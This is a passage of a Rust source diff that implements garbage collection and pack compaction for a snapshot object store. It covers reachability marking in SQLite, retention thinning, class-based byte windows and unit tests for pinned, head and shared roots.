OpenOptions}; +use std::io::{Seek, Write}; +use std::path::{Path, PathBuf}; +use std::time::{SystemTime, UNIX_EPOCH}; + +const OBJECT_MAGIC: &[u8; 4] = b"AGOB"; +const OBJECT_END: &[u8; 4] = b"AGND"; +const OBJECT_VERSION: u8 = 1; +const HEADER_LEN: u64 = 4 + 1 + 1 + 8 + 32 + 32; +const RECORD_OVERHEAD: u64 = HEADER_LEN + OBJECT_END.len() as u64; +const COMPACTION_BATCH: usize = 1_024; +const ALL_CLASS_MASK: u16 = (1 << ContentClass::ALL.len()) - 1; +const BLOB_BYTES_BIT: u16 = 1 << 15; +const DAY_SECONDS: i64 = 24 * 60 * 60; + +#[derive(Debug, Clone, Serialize)] +pub struct GcReport { + pub dry_run: bool, + pub roots: u64, + pub reachable_objects: u64, + pub unreachable_objects: u64, + pub reachable_payload_bytes: u64, + pub unreachable_payload_bytes: u64, + pub physical_bytes_before: u64, + pub physical_bytes_after: u64, + pub reclaimed_bytes: u64, + pub published_snapshots: u64, + pub retained_snapshots: u64, + pub thinned_snapshots: u64, +} + +#[derive(Default)] +struct RootSummary { + roots: u64, + published_snapshots: u64, + retained_snapshots: u64, +} + +#[derive(Debug, Deserialize)] +struct RestoreRoots { + pre_snapshot: ObjectId, + target_snapshot: ObjectId, +} + +#[derive(Debug, Deserialize)] +struct SyncRoot { + snapshot: ObjectId, +} + +struct MarkDatabase { + path: PathBuf, + connection: Connection, +} + +impl MarkDatabase { + fn create(store_root: &Path) -> anyhow::Result { + let path = store_root.join("locks").join(format!( + "gc-mark-{}-{}.sqlite3", + std::process::id(), + unique_generation() + )); + let connection = Connection::open(&path)?; + connection.pragma_update(None, "journal_mode", "OFF")?; + connection.pragma_update(None, "synchronous", "OFF")?; + connection.execute_batch( + "CREATE TABLE marks ( + id BLOB PRIMARY KEY, + kind INTEGER NOT NULL, + mask INTEGER NOT NULL, + processed INTEGER NOT NULL DEFAULT 0 + ) WITHOUT ROWID; + CREATE INDEX marks_pending ON marks(processed, id); + CREATE TABLE locations ( + id BLOB PRIMARY KEY, + kind INTEGER NOT NULL, + offset INTEGER NOT NULL, + len INTEGER NOT NULL + ) WITHOUT ROWID;", + )?; + Ok(Self { path, connection }) + } + + fn enqueue(&self, id: &ObjectId, kind: ObjectKind, mask: u16) -> anyhow::Result { + Ok(self.connection.execute( + "INSERT INTO marks(id, kind, mask) VALUES(?1, ?2, ?3) + ON CONFLICT(id) DO UPDATE SET + mask = marks.mask | excluded.mask, + processed = 0 + WHERE (marks.mask | excluded.mask) != marks.mask", + params![id.as_slice(), kind as u8, mask], + )? != 0) + } + + fn next(&self) -> anyhow::Result> { + self.connection + .query_row( + "SELECT id, kind, mask FROM marks WHERE processed = 0 ORDER BY id LIMIT 1", + [], + |row| { + Ok(( + row.get::<_, Vec>(0)?, + row.get::<_, u8>(1)?, + row.get::<_, u16>(2)?, + )) + }, + ) + .optional()? + .map(|(bytes, kind, mask)| { + let id = vec_to_id(bytes)?; + let kind = ObjectKind::from_u8(kind).context("invalid kind in GC mark database")?; + Ok((id, kind, mask)) + }) + .transpose() + } + + fn processed(&self, id: &ObjectId) -> anyhow::Result<()> { + self.connection.execute( + "UPDATE marks SET processed = 1 WHERE id = ?1", + params![id.as_slice()], + )?; + Ok(()) + } + + fn counts(&self) -> anyhow::Result<(u64, u64)> { + let count = self + .connection + .query_row("SELECT COUNT(*) FROM marks", [], |row| row.get::<_, i64>(0))?; + Ok((count as u64, 0)) + } +} + +impl Drop for MarkDatabase { + fn drop(&mut self) { + let _ = fs::remove_file(&self.path); + let _ = fs::remove_file(self.path.with_extension("sqlite3-wal")); + let _ = fs::remove_file(self.path.with_extension("sqlite3-shm")); + } +} + +pub fn collect(store: &mut ObjectStore, dry_run: bool) -> anyhow::Result { + let _maintenance = store.acquire_maintenance_exclusive()?; + collect_locked(store, dry_run) +} + +fn collect_locked(store: &mut ObjectStore, dry_run: bool) -> anyhow::Result { + let now = SystemTime::now() + .duration_since(UNIX_EPOCH) + .context("system clock is before Unix epoch")? + .as_secs() as i64; + collect_locked_at(store, dry_run, now) +} + +fn collect_locked_at(store: &mut ObjectStore, dry_run: bool, now: i64) -> anyhow::Result { + let marks = MarkDatabase::create(store.root())?; + let root_summary = enqueue_roots(store.root(), &marks, now, !dry_run)?; + traverse(store, &marks)?; + + let reachable_objects = marks.counts()?.0; + let total_objects = store.stats_unlocked()?.objects; + let total_payload = store.object_payload_bytes()?; + let reachable_payload = reachable_payload_bytes(store, &marks)?; + let before = store.stats_unlocked()?.physical_bytes; + let projected = reachable_payload.saturating_add(reachable_objects * RECORD_OVERHEAD); + let unreachable_objects = total_objects.saturating_sub(reachable_objects); + let unreachable_payload = total_payload.saturating_sub(reachable_payload); + + if dry_run { + return Ok(GcReport { + dry_run: true, + roots: root_summary.roots, + reachable_objects, + unreachable_objects, + reachable_payload_bytes: reachable_payload, + unreachable_payload_bytes: unreachable_payload, + physical_bytes_before: before, + physical_bytes_after: projected, + reclaimed_bytes: before.saturating_sub(projected), + published_snapshots: root_summary.published_snapshots, + retained_snapshots: root_summary.retained_snapshots, + thinned_snapshots: root_summary + .published_snapshots + .saturating_sub(root_summary.retained_snapshots), + }); + } + + let after = compact(store, &marks)?; + Ok(GcReport { + dry_run: false, + roots: root_summary.roots, + reachable_objects, + unreachable_objects, + reachable_payload_bytes: reachable_payload, + unreachable_payload_bytes: unreachable_payload, + physical_bytes_before: before, + physical_bytes_after: after, + reclaimed_bytes: before.saturating_sub(after), + published_snapshots: root_summary.published_snapshots, + retained_snapshots: root_summary.retained_snapshots, + thinned_snapshots: root_summary + .published_snapshots + .saturating_sub(root_summary.retained_snapshots), + }) +} + +fn enqueue_roots( + store_root: &Path, + marks: &MarkDatabase, + now: i64, + persist_retention: bool, +) -> anyhow::Result { + let mut summary = RootSummary::default(); + let workspaces = store_root.join("workspaces"); + if !workspaces.exists() { + return Ok(summary); + } + for entry in fs::read_dir(workspaces)? { + let entry = entry?; + if !entry.file_type()?.is_dir() { + continue; + } + let workspace_id = entry.file_name().to_string_lossy().into_owned(); + let refs = RefLog::open(store_root, &workspace_id)?; + let retention = RetentionLog::open(store_root, &workspace_id)?; + let state = if persist_retention { + retention.apply(&refs, now)? + } else { + retention.plan(&refs, now)? + }; + let head_sequence = refs.head()?.map_or(0, |record| record.sequence); + refs.for_each_record(|record| { + summary.published_snapshots += 1; + if state.retains(record.sequence, &record.snapshot_id) { + summary.retained_snapshots += 1; + let mask = byte_mask( + now, + record.sealed_at, + record.sequence == head_sequence || state.is_pinned(&record.snapshot_id), + ); + if marks.enqueue(&record.snapshot_id, ObjectKind::Snapshot, mask)? { + summary.roots += 1; + } + } + Ok(()) + })?; + + let intent_path = entry.path().join("restore.intent"); + if intent_path.exists() { + let intent: RestoreRoots = serde_json::from_slice(&fs::read(&intent_path)?) + .with_context(|| format!("read restore intent {}", intent_path.display()))?; + for id in [intent.pre_snapshot, intent.target_snapshot] { + if marks.enqueue(&id, ObjectKind::Snapshot, ALL_CLASS_MASK)? { + summary.roots += 1; + } + } + } + + let incoming_path = entry.path().join("sync/incoming.json"); + if incoming_path.exists() { + let incoming: SyncRoot = serde_json::from_slice(&fs::read(&incoming_path)?) + .with_context(|| format!("read incoming sync root {}", incoming_path.display()))?; + if marks.enqueue(&incoming.snapshot, ObjectKind::Snapshot, ALL_CLASS_MASK)? { + summary.roots += 1; + } + } + } + Ok(summary) +} + +fn traverse(store: &ObjectStore, marks: &MarkDatabase) -> anyhow::Result<()> { + while let Some((id, expected, mask)) = marks.next()? { + let actual = store.object_kind(&id)?; + anyhow::ensure!(actual == expected, "reachable object kind mismatch"); + let bytes = store.read_bytes_unlocked(&id, expected)?; + match expected { + ObjectKind::Snapshot => { + let snapshot: Snapshot = serde_json::from_slice(&bytes)?; + marks.enqueue(&snapshot.root_tree, ObjectKind::Tree, mask)?; + for backup in snapshot.sqlite_backups { + let keep_bytes = mask & classify(&backup.path).bit() != 0; + marks.enqueue( + &backup.blob, + ObjectKind::Blob, + if keep_bytes { BLOB_BYTES_BIT } else { 0 }, + )?; + } + // Snapshot.parent is timeline metadata, not a reachability edge. + } + ObjectKind::Tree => { + let tree: Tree = serde_json::from_slice(&bytes)?; + for page in tree.pages { + marks.enqueue(&page.target, ObjectKind::Tree, mask)?; + } + for entry in tree.entries { + if let Some(xattrs) = entry.xattrs { + marks.enqueue(&xattrs, ObjectKind::Xattrs, 0)?; + } + match (entry.kind, entry.target) { + (EntryKind::File, Some(target)) => { + marks.enqueue( + &target, + ObjectKind::Blob, + if mask & entry.class.bit() != 0 { + BLOB_BYTES_BIT + } else { + 0 + }, + )?; + } + (EntryKind::Directory, Some(target)) => { + marks.enqueue(&target, ObjectKind::Tree, mask)?; + } + _ => {} + } + } + } + ObjectKind::Blob => { + let blob: Blob = serde_json::from_slice(&bytes)?; + if mask & BLOB_BYTES_BIT != 0 { + for chunk in blob.chunks { + marks.enqueue(&chunk.id, ObjectKind::Chunk, 0)?; + } + } + } + ObjectKind::Chunk | ObjectKind::Xattrs => {} + } + marks.processed(&id)?; + } + Ok(()) +} + +fn byte_mask(now: i64, sealed_at: i64, exact_root: bool) -> u16 { + if exact_root || sealed_at > now { + return ALL_CLASS_MASK; + } + let age = now.saturating_sub(sealed_at); + let mut mask = ContentClass::Source.bit() + | ContentClass::VcsMeta.bit() + | ContentClass::ConfigSecret.bit() + | ContentClass::Lockfile.bit(); + if age <= 30 * DAY_SECONDS { + mask |= ContentClass::Database.bit(); + } + if age <= 3 * DAY_SECONDS { + mask |= ContentClass::Dependency.bit() | ContentClass::BuildOutput.bit(); + } + if age <= DAY_SECONDS { + mask |= ContentClass::Scratch.bit(); + } + mask +} + +fn reachable_payload_bytes(store: &ObjectStore, marks: &MarkDatabase) -> anyhow::Result { + let mut total = 0_u64; + let mut last: Option> = None; + loop { + let batch = mark_batch(&marks.connection, last.as_deref())?; + if batch.is_empty() { + break; + } + for (id, _) in &batch { + total = total.saturating_add(store.object_len(id)?); + } + last = batch.last().map(|(id, _)| id.to_vec()); + } + Ok(total) +} + +fn compact(store: &mut ObjectStore, marks: &MarkDatabase) -> anyhow::Result { + let generation = unique_generation(); + let pack_name = format!("pack-gc-{generation}.agp"); + let packs = store.root().join("packs"); + let temporary = packs.join(format!(".{pack_name}.tmp")); + let final_path = packs.join(&pack_name); + let mut output = OpenOptions::new() + .create_new(true) + .write(true) + .open(&temporary)?; + let mut count = 0_u64; + let mut position = 0_u64; + let mut last_id = None; + let mut last_record_start = 0_u64; + + loop { + let batch = mark_batch(&marks.connection, last_id.as_deref())?; + if batch.is_empty() { + break; + } + for (id, expected) in &batch { + let bytes = store.read_bytes_unlocked(id, *expected)?; + let record_start = position; + let payload_offset = write_record(&mut output, *expected, id, &bytes)?; + position = payload_offset + bytes.len() as u64 + OBJECT_END.len() as u64; + marks.connection.execute( + "INSERT INTO locations(id, kind, offset, len) VALUES(?1, ?2, ?3, ?4)", + params![ + id.as_slice(), + *expected as u8, + payload_offset as i64, + bytes.len() as i64 + ], + )?; + count += 1; + last_record_start = record_start; + } + last_id = batch.last().map(|(id, _)| id.to_vec()); + } + output.sync_all()?; + drop(output); + fs::rename(&temporary, &final_path)?; + File::open(&packs)?.sync_all()?; + + if std::env::var_os("FURROW_GC_FAILPOINT").as_deref() + == Some(std::ffi::OsStr::new("after_pack_publish")) + { + anyhow::bail!("injected GC failure after pack publish"); + } + + let checkpoint = PackCheckpoint { + verified_len: position, + object_count: count, + last_object: last_id.map(vec_to_id).transpose()?, + last_record_start, + }; + store.replace_objects_from_gc(&marks.path, &pack_name, &checkpoint)?; + + if std::env::var_os("FURROW_GC_FAILPOINT").as_deref() + == Some(std::ffi::OsStr::new("after_catalog_swap")) + { + anyhow::bail!("injected GC failure after catalog swap"); + } + + // CURRENT is the recovery boundary. Before this rename the old generation + // can rebuild a deleted catalog; afterward the new compacted generation can. + store.activate_pack(&pack_name)?; + + for entry in fs::read_dir(&packs)? { + let entry = entry?; + if entry.file_type()?.is_file() + && entry.path().extension() == Some(std::ffi::OsStr::new("agp")) + && entry.file_name() != std::ffi::OsStr::new(&pack_name) + { + fs::remove_file(entry.path())?; + } + } + File::open(&packs)?.sync_all()?; + Ok(fs::metadata(final_path)?.len()) +} + +fn mark_batch( + connection: &Connection, + after: Option<&[u8]>, +) -> anyhow::Result> { + let mut statement = if after.is_some() { + connection.prepare("SELECT id, kind FROM marks WHERE id > ?1 ORDER BY id LIMIT ?2")? + } else { + connection.prepare("SELECT id, kind FROM marks ORDER BY id LIMIT ?1")? + }; + let collect = |row: &rusqlite::Row<'_>| -> rusqlite::Result<(Vec, u8)> { + Ok((row.get(0)?, row.get(1)?)) + }; + let mut raw = Vec::new(); + if let Some(after) = after { + for row in statement.query_map(params![after, COMPACTION_BATCH as i64], collect)? { + raw.push(row?); + } + } else { + for row in statement.query_map(params![COMPACTION_BATCH as i64], collect)? { + raw.push(row?); + } + } + raw.into_iter() + .map(|(id, kind)| { + Ok(( + vec_to_id(id)?, + ObjectKind::from_u8(kind).context("invalid marked object kind")?, + )) + }) + .collect() +} + +fn write_record( + output: &mut File, + kind: ObjectKind, + id: &ObjectId, + bytes: &[u8], +) -> anyhow::Result { + let checksum = blake3::hash(bytes); + output.write_all(OBJECT_MAGIC)?; + output.write_all(&[OBJECT_VERSION, kind as u8])?; + output.write_all(&(bytes.len() as u64).to_le_bytes())?; + output.write_all(id)?; + output.write_all(checksum.as_bytes())?; + output.write_all(bytes)?; + output.write_all(OBJECT_END)?; + Ok(output.stream_position()? - bytes.len() as u64 - OBJECT_END.len() as u64) +} + +fn unique_generation() -> u128 { + SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap_or_default() + .as_nanos() +} + +fn vec_to_id(bytes: Vec) -> anyhow::Result { + anyhow::ensure!(bytes.len() == 32, "invalid object ID in GC database"); + let mut id = [0_u8; 32]; + id.copy_from_slice(&bytes); + Ok(id) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::model::{ + ChunkRef, SealQuality, SnapshotTrigger, SqliteBackup, TreeEntry, TreePage, XattrEntry, + Xattrs, + }; + + fn empty_tree(store: &ObjectStore) -> ObjectId { + store + .put_struct( + ObjectKind::Tree, + &Tree { + entries: Vec::new(), + pages: Vec::new(), + }, + ) + .unwrap() + } + + fn snapshot(root_tree: ObjectId, parent: Option) -> Snapshot { + Snapshot { + root_tree, + parent, + merge_parents: Vec::new(), + sealed_at_secs: 1, + sealed_at_nanos: 0, + quality: SealQuality::Quiescent, + trigger: SnapshotTrigger::Manual, + label: None, + sqlite_backups: Vec::new(), + claims: Vec::new(), + excluded_paths: Vec::new(), + hardlinks: Vec::new(), + } + } + + #[test] + fn exact_gc_follows_pages_and_chunks_but_not_snapshot_parent() { + let temporary = tempfile::tempdir().unwrap(); + let mut store = ObjectStore::open(temporary.path().to_owned()).unwrap(); + store.ensure_workspace("workspace", b"/workspace").unwrap(); + + let kept_chunk = store.put_bytes(ObjectKind::Chunk, b"kept bytes").unwrap(); + let kept_blob = store + .put_struct( + ObjectKind::Blob, + &Blob { + chunks: vec![ChunkRef { + id: kept_chunk, + len: 10, + }], + total_len: 10, + }, + ) + .unwrap(); + let xattrs = store + .put_struct( + ObjectKind::Xattrs, + &Xattrs { + entries: vec![XattrEntry { + name: b"user.test".to_vec(), + value: b"yes".to_vec(), + }], + }, + ) + .unwrap(); + let leaf = store + .put_struct( + ObjectKind::Tree, + &Tree { + entries: vec![TreeEntry { + name: b"file".to_vec(), + kind: EntryKind::File, + target: Some(kept_blob), + link_target: Vec::new(), + mode: 0o100644, + size: 10, + mtime_secs: 1, + mtime_nanos: 0, + xattrs: Some(xattrs), + class: Default::default(), + }], + pages: Vec::new(), + }, + ) + .unwrap(); + let root = store + .put_struct( + ObjectKind::Tree, + &Tree { + entries: Vec::new(), + pages: vec![TreePage { + first_name: b"file".to_vec(), + last_name: b"file".to_vec(), + entry_count: 1, + target: leaf, + }], + }, + ) + .unwrap(); + + let orphan_tree = empty_tree(&store); + let orphan_parent = store + .put_struct(ObjectKind::Snapshot, &snapshot(orphan_tree, None)) + .unwrap(); + let abandoned = store + .put_bytes(ObjectKind::Chunk, b"not referenced") + .unwrap(); + let mut current = snapshot(root, Some(orphan_parent)); + current.sqlite_backups.push(SqliteBackup { + path: b"dev.sqlite".to_vec(), + blob: kept_blob, + integrity_ok: true, + }); + let current = store.put_struct(ObjectKind::Snapshot, ¤t).unwrap(); + store + .publish_snapshot("workspace", current, 1, None, SnapshotTrigger::Manual) + .unwrap(); + + let bytes_before_preview = store.stats().unwrap().physical_bytes; + let preview = collect(&mut store, true).unwrap(); + assert!(preview.dry_run); + assert_eq!(preview.reachable_objects, 6); + assert_eq!(preview.unreachable_objects, 3); + assert!(store.read_bytes(&abandoned, ObjectKind::Chunk).is_ok()); + assert_eq!(store.stats().unwrap().physical_bytes, bytes_before_preview); + + let report = collect(&mut store, false).unwrap(); + assert_eq!(report.reachable_objects, 6); + assert_eq!(report.unreachable_objects, 3); + assert!(store.read_bytes(&kept_chunk, ObjectKind::Chunk).is_ok()); + assert!(store.read_bytes(&leaf, ObjectKind::Tree).is_ok()); + assert!(store + .read_bytes(&orphan_parent, ObjectKind::Snapshot) + .is_err()); + assert!(store.read_bytes(&orphan_tree, ObjectKind::Tree).is_err()); + assert!(store.read_bytes(&abandoned, ObjectKind::Chunk).is_err()); + assert!(report.physical_bytes_after < report.physical_bytes_before); + + let appended = store + .put_bytes(ObjectKind::Chunk, b"written after compaction") + .unwrap(); + drop(store); + for suffix in ["", "-wal", "-shm"] { + let _ = fs::remove_file(temporary.path().join(format!("catalog.sqlite3{suffix}"))); + } + let rebuilt = ObjectStore::open(temporary.path().to_owned()).unwrap(); + assert!(rebuilt.read_bytes(&kept_chunk, ObjectKind::Chunk).is_ok()); + assert!(rebuilt.read_bytes(&leaf, ObjectKind::Tree).is_ok()); + assert_eq!( + rebuilt.read_bytes(&appended, ObjectKind::Chunk).unwrap(), + b"written after compaction" + ); + } + + #[test] + fn restore_intent_is_an_independent_gc_root() { + let temporary = tempfile::tempdir().unwrap(); + let mut store = ObjectStore::open(temporary.path().to_owned()).unwrap(); + store.ensure_workspace("workspace", b"/workspace").unwrap(); + let tree = empty_tree(&store); + let snapshot = store + .put_struct(ObjectKind::Snapshot, &snapshot(tree, None)) + .unwrap(); + fs::write( + store.workspace_data_dir("workspace").join("restore.intent"), + serde_json::to_vec(&serde_json::json!({ + "pre_snapshot": snapshot, + "target_snapshot": snapshot, + "paths": [] + })) + .unwrap(), + ) + .unwrap(); + + let report = collect(&mut store, false).unwrap(); + assert_eq!(report.roots, 1); + assert_eq!(report.reachable_objects, 2); + assert!(store.read_bytes(&snapshot, ObjectKind::Snapshot).is_ok()); + assert!(store.read_bytes(&tree, ObjectKind::Tree).is_ok()); + } + + #[test] + fn thinning_reclaims_old_graphs_but_preserves_pins_and_head() { + let temporary = tempfile::tempdir().unwrap(); + let mut store = ObjectStore::open(temporary.path().to_owned()).unwrap(); + store.ensure_workspace("workspace", b"/workspace").unwrap(); + let week = 7 * 24 * 60 * 60; + let now = 200 * 24 * 60 * 60; + + let mut snapshots = Vec::new(); + let mut chunks = Vec::new(); + for index in 0..3_u8 { + let chunk = store.put_bytes(ObjectKind::Chunk, &[index; 32]).unwrap(); + let blob = store + .put_struct( + ObjectKind::Blob, + &Blob { + chunks: vec![ChunkRef { id: chunk, len: 32 }], + total_len: 32, + }, + ) + .unwrap(); + let tree = store + .put_struct( + ObjectKind::Tree, + &Tree { + entries: vec![TreeEntry { + name: b"state".to_vec(), + kind: EntryKind::File, + target: Some(blob), + link_target: Vec::new(), + mode: 0o100644, + size: 32, + mtime_secs: index as i64, + mtime_nanos: 0, + xattrs: None, + class: Default::default(), + }], + pages: Vec::new(), + }, + ) + .unwrap(); + let sealed_at = week + index as i64; + let snapshot = store + .put_struct( + ObjectKind::Snapshot, + &Snapshot { + sealed_at_secs: sealed_at, + ..snapshot(tree, snapshots.last().copied()) + }, + ) + .unwrap(); + store + .publish_snapshot( + "workspace", + snapshot, + sealed_at, + None, + SnapshotTrigger::Manual, + ) + .unwrap(); + snapshots.push(snapshot); + chunks.push(chunk); + } + assert!(store.pin_snapshot("workspace", snapshots[1]).unwrap()); + + let preview = collect_locked_at(&mut store, true, now).unwrap(); + assert_eq!(preview.published_snapshots, 3); + assert_eq!(preview.retained_snapshots, 2); + assert_eq!(preview.thinned_snapshots, 1); + assert_eq!(store.timeline("workspace", 10).unwrap().len(), 3); + assert!(store.read_bytes(&chunks[0], ObjectKind::Chunk).is_ok()); + + let collected = collect_locked_at(&mut store, false, now).unwrap(); + assert_eq!(collected.retained_snapshots, 2); + assert!(store.read_bytes(&chunks[0], ObjectKind::Chunk).is_err()); + assert!(store.read_bytes(&chunks[1], ObjectKind::Chunk).is_ok()); + assert!(store.read_bytes(&chunks[2], ObjectKind::Chunk).is_ok()); + let timeline = store.timeline("workspace", 10).unwrap(); + assert_eq!(timeline.len(), 2); + assert_eq!(timeline[0].id, snapshots[2]); + assert_eq!(timeline[1].id, snapshots[1]); + + assert!(store.unpin_snapshot("workspace", &snapshots[1]).unwrap()); + collect_locked_at(&mut store, false, now).unwrap(); + assert!(store.read_bytes(&chunks[1], ObjectKind::Chunk).is_err()); + assert!(store.read_bytes(&chunks[2], ObjectKind::Chunk).is_ok()); + } + + #[test] + fn expired_class_bytes_drop_while_manifests_and_head_remain_exact() { + let temporary = tempfile::tempdir().unwrap(); + let mut store = ObjectStore::open(temporary.path().to_owned()).unwrap(); + store.ensure_workspace("workspace", b"/workspace").unwrap(); + let week = 7 * DAY_SECONDS; + + let make_graph = |store: &ObjectStore, + bytes: &[u8], + class: ContentClass, + sealed_at: i64, + parent: Option| { + let chunk = store.put_bytes(ObjectKind::Chunk, bytes).unwrap(); + let blob = store + .put_struct( + ObjectKind::Blob, + &Blob { + chunks: vec![ChunkRef { + id: chunk, + len: bytes.len() as u32, + }], + total_len: bytes.len() as u64, + }, + ) + .unwrap(); + let tree = store + .put_struct( + ObjectKind::Tree, + &Tree { + entries: vec![TreeEntry { + name: b"state".to_vec(), + kind: EntryKind::File, + target: Some(blob), + link_target: Vec::new(), + mode: 0o100644, + size: bytes.len() as u64, + mtime_secs: sealed_at, + mtime_nanos: 0, + xattrs: None, + class, + }], + pages: Vec::new(), + }, + ) + .unwrap(); + let snapshot = store + .put_struct( + ObjectKind::Snapshot, + &Snapshot { + sealed_at_secs: sealed_at, + ..snapshot(tree, parent) + }, + ) + .unwrap(); + (snapshot, tree, blob, chunk) + }; + + let old = make_graph( + &store, + b"expired log bytes", + ContentClass::Scratch, + week, + None, + ); + store + .publish_snapshot("workspace", old.0, week, None, SnapshotTrigger::Manual) + .unwrap(); + let head = make_graph( + &store, + b"current source bytes", + ContentClass::Source, + 2 * week, + Some(old.0), + ); + store + .publish_snapshot("workspace", head.0, 2 * week, None, SnapshotTrigger::Manual) + .unwrap(); + + crate::budget::save( + store.root(), + crate::budget::BudgetConfig { + max_store_bytes: 1, + reserved_free_bytes: 0, + }, + ) + .unwrap(); + let report = store.enforce_budget(true).unwrap().unwrap(); + assert_eq!(report.retained_snapshots, 2); + assert!(store.read_bytes(&old.0, ObjectKind::Snapshot).is_ok()); + assert!(store.read_bytes(&old.1, ObjectKind::Tree).is_ok()); + assert!(store.read_bytes(&old.2, ObjectKind::Blob).is_ok()); + assert!(store.read_bytes(&old.3, ObjectKind::Chunk).is_err()); + assert!(store.read_bytes(&head.3, ObjectKind::Chunk).is_ok()); + let grade = crate::repository::derive_materialization(&store, &old.0).unwrap(); + assert_eq!(grade.grade, "partial"); + assert_eq!(grade.partial_classes, vec!["scratch"]); + assert_eq!(grade.missing_paths.len(), 1); + assert_eq!(grade.missing_paths[0].path, "state"); + assert_eq!(grade.missing_paths[0].recovery, "regenerate-or-fetch"); + assert_eq!( + crate::repository::derive_materialization(&store, &head.0) + .unwrap() + .grade, + "exact" + ); + let budget = store.budget_status().unwrap(); + assert!(!budget.satisfied); + assert!(budget.over_store_bytes > 0); + } + + #[test] + fn byte_windows_match_the_declared_class_policy() { + let now = 100 * DAY_SECONDS; + let permanent = ContentClass::Source.bit() + | ContentClass::VcsMeta.bit() + | ContentClass::ConfigSecret.bit() + | ContentClass::Lockfile.bit(); + assert_eq!(byte_mask(now, 0, false) & permanent, permanent); + assert_ne!( + byte_mask(now, now - 30 * DAY_SECONDS, false) & ContentClass::Database.bit(), + 0 + ); + assert_eq!( + byte_mask(now, now - 30 * DAY_SECONDS - 1, false) & ContentClass::Database.bit(), + 0 + ); + assert_ne!( + byte_mask(now, now - 3 * DAY_SECONDS, false) & ContentClass::Dependency.bit(), + 0 + ); + assert_eq!( + byte_mask(now, now - DAY_SECONDS - 1, false) & ContentClass::Scratch.bit(), + 0 + ); + assert_eq!(byte_mask(now, 0, true), ALL_CLASS_MASK); + } + + #[test] + fn gc_preserves_fork_machine_pin_and_shared_roots_across_index_recovery() { + let temporary = tempfile::tempdir().unwrap(); + let store_root = temporary.path().to_owned(); + let mut store = ObjectStore::open(store_root.clone()).unwrap(); + for (workspace, root) in [ + ("main", b"/main".as_slice()), + ("fork", b"/fork".as_slice()), + ("machine", b"/machine".as_slice()), + ] { + store.ensure_workspace(workspace, root).unwrap(); + } + let week = 7 * DAY_SECONDS; + + let graph = |store: &ObjectStore, + byte: u8, + class: ContentClass, + sealed_at: i64, + parent: Option| { + let chunk = store.put_bytes(ObjectKind::Chunk, &[byte; 64]).unwrap(); + let blob = store + .put_struct( + ObjectKind::Blob, + &Blob { + chunks: vec![ChunkRef { id: chunk, len: 64 }], + total_len: 64, + }, + ) + .unwrap(); + let tree = store + .put_struct( + ObjectKind::Tree, + &Tree { + entries: vec![TreeEntry { + name: vec![b'a' + byte], + kind: EntryKind::File, + target: Some(blob), + link_target: Vec::new(), + mode: 0o100644, + size: 64, + mtime_secs: sealed_at, + mtime_nanos: 0, + xattrs: None, + class, + }], + pages: Vec::new(), + }, + ) + .unwrap(); + let snapshot = store + .put_struct( + ObjectKind::Snapshot, + &Snapshot { + sealed_at_secs: sealed_at, + ..snapshot(tree, parent) + }, + ) + .unwrap(); + (snapshot, chunk) + }; + + let abandoned = graph(&store, 1, ContentClass::Scratch, week, None); + store + .publish_snapshot("main", abandoned.0, week, None, SnapshotTrigger::Manual) + .unwrap(); + let pinned = graph( + &store, + 2, + ContentClass::Scratch, + week + 1, + Some(abandoned.0), + ); + store + .publish_snapshot("main", pinned.0, week + 1, None, SnapshotTrigger::Manual) + .unwrap(); + let main_head = graph(&store, 3, ContentClass::Source, week + 2, Some(pinned.0)); + store + .publish_snapshot("main", main_head.0, week + 2, None, SnapshotTrigger::Manual) + .unwrap(); + store.pin_snapshot("main", pinned.0).unwrap(); + + let fork_head = graph(&store, 4, ContentClass::Scratch, week, None); + store + .publish_snapshot("fork", fork_head.0, week, None, SnapshotTrigger::Manual) + .unwrap(); + let machine_head = graph(&store, 5, ContentClass::Scratch, week, None); + store + .publish_snapshot( + "machine", + machine_head.0, + week, + None, + SnapshotTrigger::Manual, + ) + .unwrap(); + + let shared_chunk = store + .put_bytes(ObjectKind::Chunk, b"shared protected bytes") + .unwrap(); + let shared_blob = store + .put_struct( + ObjectKind::Blob, + &Blob { + chunks: vec![ChunkRef { + id: shared_chunk, + len: 22, + }], + total_len: 22, + }, + ) + .unwrap(); + let shared_tree = |store: &ObjectStore, class| { + store + .put_struct( + ObjectKind::Tree, + &Tree { + entries: vec![TreeEntry { + name: b"shared".to_vec(), + kind: EntryKind::File, + target: Some(shared_blob), + link_target: Vec::new(), + mode: 0o100644, + size: 22, + mtime_secs: week, + mtime_nanos: 0, + xattrs: None, + class, + }], + pages: Vec::new(), + }, + ) + .unwrap() + }; + let expired_shared = store + .put_struct( + ObjectKind::Snapshot, + &Snapshot { + sealed_at_secs: 2 * week, + ..snapshot( + shared_tree(&store, ContentClass::Scratch), + Some(main_head.0), + ) + }, + ) + .unwrap(); + store + .publish_snapshot( + "main", + expired_shared, + 2 * week, + None, + SnapshotTrigger::Manual, + ) + .unwrap(); + let protected_shared = store + .put_struct( + ObjectKind::Snapshot, + &Snapshot { + sealed_at_secs: 3 * week, + ..snapshot( + shared_tree(&store, ContentClass::Source), + Some(expired_shared), + ) + }, + ) + .unwrap(); + store + .publish_snapshot( + "main", + protected_shared, + 3 * week, + None, + SnapshotTrigger::Manual, + ) + .unwrap(); + + let now = 200 * DAY_SECONDS; + collect_locked_at(&mut store, false, now).unwrap(); + assert!(store.read_bytes(&abandoned.1, ObjectKind::Chunk).is_err()); + for chunk in [ + pinned.1, + main_head.1, + fork_head.1, + machine_head.1, + shared_chunk, + ] { + assert!(store.read_bytes(&chunk, ObjectKind::Chunk).is_ok()); + } + + drop(store); + for suffix in ["", "-wal", "-shm"] { + let _ = fs::remove_file(store_root.join(format!("catalog.sqlite3{suffix}"))); + } + for workspace in ["main", "fork", "machine"] { + let _ = fs::remove_file( + store_root + .join("workspaces") + .join(workspace) + .join("refs.index"), + ); + } + let mut recovered = ObjectStore::open(store_root).unwrap(); + for (workspace, root) in [ + ("main", b"/main".as_slice()), + ("fork", b"/fork".as_slice()), + ("machine", b"/machine".as_slice()), + ] { + recovered.ensure_workspace(workspace, root).unwrap(); + assert!(!recovered.timeline(workspace, 10).unwrap().is_empty()); + } + for chunk in [pinned.1, fork_head.1, machine_head.1, shared_chunk] { + assert!(recovered.read_bytes(&chunk, ObjectKind::Chunk).is_ok()); + } + + recovered.unpin_snapshot("main", &pinned.0).unwrap(); + recovered.purge_workspace("fork").unwrap(); + recovered.purge_workspace("machine").unwrap(); + collect_locked_at(&mut recovered, false, now).unwrap(); + for chunk 